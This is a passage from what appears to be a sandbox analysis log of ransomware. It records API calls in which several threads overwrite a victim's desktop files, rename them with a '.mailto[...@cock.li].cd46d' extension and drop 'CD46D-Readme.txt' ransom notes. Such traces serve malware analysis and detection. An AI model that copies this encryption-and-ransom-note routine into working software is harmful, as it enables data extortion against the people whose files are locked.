Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x451ccaf6 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x5dd121b3 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x1d9eaa [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x6d54f1d6 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x5249d542 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x4a236f86 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x4982284d [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x4d1104a9 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0xe9921f7 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x14cdabd7 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x49070b50 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x5136eb91 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x6e1ecd56 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x7e2deb0b [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x1d14b398 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x6ba3cf41 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x3caeab75 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x37308100 [0050.566] RtlRandomEx (in: Seed=0xf16fc38 | out: Seed=0xf16fc38) returned 0x450d730b [0050.578] ReadFile (in: hFile=0xb60, lpBuffer=0x12ba7880, nNumberOfBytesToRead=0x3aee, lpNumberOfBytesRead=0xf16fc28, lpOverlapped=0x0 | out: lpBuffer=0x12ba7880*, lpNumberOfBytesRead=0xf16fc28*=0x3aee, lpOverlapped=0x0) returned 1 [0050.579] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.579] WriteFile (in: hFile=0xb60, lpBuffer=0x12bb4088*, nNumberOfBytesToWrite=0x3aee, lpNumberOfBytesWritten=0xf16fc24, lpOverlapped=0x0 | out: lpBuffer=0x12bb4088*, lpNumberOfBytesWritten=0xf16fc24*=0x3aee, lpOverlapped=0x0) returned 1 [0053.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ced00 [0053.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ced28 [0053.352] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced28) returned 1 [0053.352] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bb4088) returned 1 [0053.352] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ba7880) returned 1 [0053.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ac18) returned 1 [0053.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0053.355] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x402ba0 [0053.355] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.355] WriteFile (in: hFile=0xb60, lpBuffer=0x5e47bb0*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0xf16fc8c, lpOverlapped=0x0 | out: lpBuffer=0x5e47bb0*, lpNumberOfBytesWritten=0xf16fc8c*=0x11f, lpOverlapped=0x0) returned 1 [0053.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47bb0) returned 1 [0053.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0053.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced28) returned 1 [0053.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0053.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced00) returned 1 [0053.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600d0) returned 1 [0053.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0053.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460148) returned 1 [0053.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x5e47b18 [0053.579] wcscpy (in: _Dest=0x5e47b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv" [0053.579] wcscat (in: _Dest=0x5e47b18, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv.mailto[2Hamlampampom@cock.li].cd46d" [0053.579] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf16fc44, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\h_DOHIA dOifpTTWyRb.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x44d2d0 [0054.698] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d2d0) returned 1 [0054.698] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f348) returned 1 [0054.698] NtQueryInformationFile (in: FileHandle=0xb60, IoStatusBlock=0xf16fc50, FileInformation=0xf16fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf16fc50, FileInformation=0xf16fc28) returned 0x0 [0054.698] NtSetInformationFile (FileHandle=0xb60, IoStatusBlock=0xf16fc50, FileInformation=0xf16fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.705] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47b18) returned 1 [0054.705] FlushFileBuffers (hFile=0xb60) returned 1 [0054.707] CloseHandle (hObject=0xb60) returned 1 [0054.708] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417e00 [0054.708] wcscpy (in: _Dest=0x417e00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0054.708] wcscat (in: _Dest=0x417e00, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0054.708] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0xffffffff [0054.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb84 [0056.129] WriteFile (in: hFile=0xb84, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xf16fc4c, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xf16fc4c*=0x6fd, lpOverlapped=0x0) returned 1 [0056.808] CloseHandle (hObject=0xb84) returned 1 [0065.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417e00) returned 1 [0065.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438488) returned 1 Thread: id = 631 os_tid = 0x7e4 [0050.579] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\ilsxe sn3pq8v7cg_cgr.png")) returned 0x20 [0050.579] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png", dwFileAttributes=0x20) returned 1 [0050.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\ilsxe sn3pq8v7cg_cgr.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb64 [0050.580] GetFileSizeEx (in: hFile=0xb64, lpFileSize=0xf71f884 | out: lpFileSize=0xf71f884*=77100) returned 1 [0050.580] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x12d28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.580] ReadFile (in: hFile=0xb64, lpBuffer=0xf71f808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf71f804, lpOverlapped=0x0 | out: lpBuffer=0xf71f808*, lpNumberOfBytesRead=0xf71f804*=0x4, lpOverlapped=0x0) returned 1 [0050.581] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0050.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600f8 [0050.581] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.581] NtQuerySystemTime (in: CurrentTime=0xf71f7e4 | out: CurrentTime=0xf71f7e4*=132174898145676000) returned 0x0 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x2df107d1 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x1574fe93 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x69baad6f [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x54cf7ae [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x123d14a2 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x34e905c2 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x3a147e7f [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x2645dd3f [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x18676e04 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x73e516ec [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x5950e516 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x7a9ba9ac [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x5436241b [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x48592f3d [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x1862ebb9 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x344f09cc [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x764ec90f [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0xa58da8d [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x241b7931 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x76eb4e09 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x1faadc74 [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x9fcacae [0050.581] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x7796b6a6 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x7ac94783 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x4f167150 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0xbbd6894 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x20969587 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x269d1087 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x4425be91 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x3435550c [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x42254a3 [0050.582] RtlRandomEx (in: Seed=0xf71f7f0 | out: Seed=0xf71f7f0) returned 0x13917fc9 [0050.593] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.593] ReadFile (in: hFile=0xb64, lpBuffer=0x12bc0890, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf71f7c4, lpOverlapped=0x0 | out: lpBuffer=0x12bc0890*, lpNumberOfBytesRead=0xf71f7c4*=0xc800, lpOverlapped=0x0) returned 1 [0050.593] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402be8 [0050.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43ac90 [0050.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0050.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460058) returned 1 [0050.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12bcd098 [0050.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0050.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460170) returned 1 [0050.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ac90) returned 1 [0050.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402be8) returned 1 [0050.598] WriteFile (in: hFile=0xb64, lpBuffer=0x12bcd098*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf71f7c4, lpOverlapped=0x0 | out: lpBuffer=0x12bcd098*, lpNumberOfBytesWritten=0xf71f7c4*=0xc800, lpOverlapped=0x0) returned 1 [0053.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bcd098) returned 1 [0053.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bc0890) returned 1 [0053.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x4029f0 [0053.360] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.361] WriteFile (in: hFile=0xb64, lpBuffer=0x5e47cd8*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0xf71f844, lpOverlapped=0x0 | out: lpBuffer=0x5e47cd8*, lpNumberOfBytesWritten=0xf71f844*=0x121, lpOverlapped=0x0) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47cd8) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced50) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460058) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600f8) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460198) returned 1 [0053.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4601c0) returned 1 [0053.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x44d3c8 [0053.580] wcscpy (in: _Dest=0x44d3c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png" [0053.580] wcscat (in: _Dest=0x44d3c8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png.mailto[2Hamlampampom@cock.li].cd46d" [0053.580] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf71f7fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ILsXE SN3pQ8V7CG_cGR.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xee) returned 0x44d4a8 [0054.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d4a8) returned 1 [0054.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f570) returned 1 [0054.702] NtQueryInformationFile (in: FileHandle=0xb64, IoStatusBlock=0xf71f808, FileInformation=0xf71f7e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf71f808, FileInformation=0xf71f7e0) returned 0x0 [0054.702] NtSetInformationFile (FileHandle=0xb64, IoStatusBlock=0xf71f808, FileInformation=0xf71f7e0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.709] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d3c8) returned 1 [0054.709] FlushFileBuffers (hFile=0xb64) returned 1 [0054.711] CloseHandle (hObject=0xb64) returned 1 [0054.712] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416ff0 [0054.712] wcscpy (in: _Dest=0x416ff0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0054.712] wcscat (in: _Dest=0x416ff0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0054.712] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0xffffffff [0054.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0056.130] WriteFile (in: hFile=0x510, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xf71f804, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xf71f804*=0x6fd, lpOverlapped=0x0) returned 1 [0056.922] CloseHandle (hObject=0x510) Thread: id = 632 os_tid = 0x3b0 [0050.598] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\kj5p.jpg")) returned 0x20 [0050.598] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg", dwFileAttributes=0x20) returned 1 [0050.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\kj5p.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\kj5p.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb68 [0050.599] GetFileSizeEx (in: hFile=0xb68, lpFileSize=0xf9cfc5c | out: lpFileSize=0xf9cfc5c*=21727) returned 1 [0050.599] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x54db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.599] ReadFile (in: hFile=0xb68, lpBuffer=0xf9cfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf9cfbdc, lpOverlapped=0x0 | out: lpBuffer=0xf9cfbe0*, lpNumberOfBytesRead=0xf9cfbdc*=0x4, lpOverlapped=0x0) returned 1 [0050.599] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4601e8 [0050.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0050.600] NtQuerySystemTime (in: CurrentTime=0xf9cfbbc | out: CurrentTime=0xf9cfbbc*=132174898145832000) returned 0x0 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x724fc5fd [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x48f4d640 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x76e20779 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x6b019f07 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x700b8a3e [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x76f15f2f [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x6f71f27a [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x3bb67c23 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x7f68e022 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x3d95457c [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x45fc7f97 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x4a194ae [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x7c2665be [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x62d990ce [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x1f304758 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x5dd8f87c [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x35589988 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x78ebf388 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x7c997a3f [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x2caea55a [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x706c0818 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x1d82c6d4 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x32c5665b [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x5b4e0ff4 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x6e0d49e6 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x2a032f25 [0050.600] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0xa61f4b6 [0050.601] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x47ccda0c [0050.601] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 0x3fc5342c [0050.601] RtlRandomEx (in: Seed=0xf9cfbc8 | out: Seed=0xf9cfbc8) returned 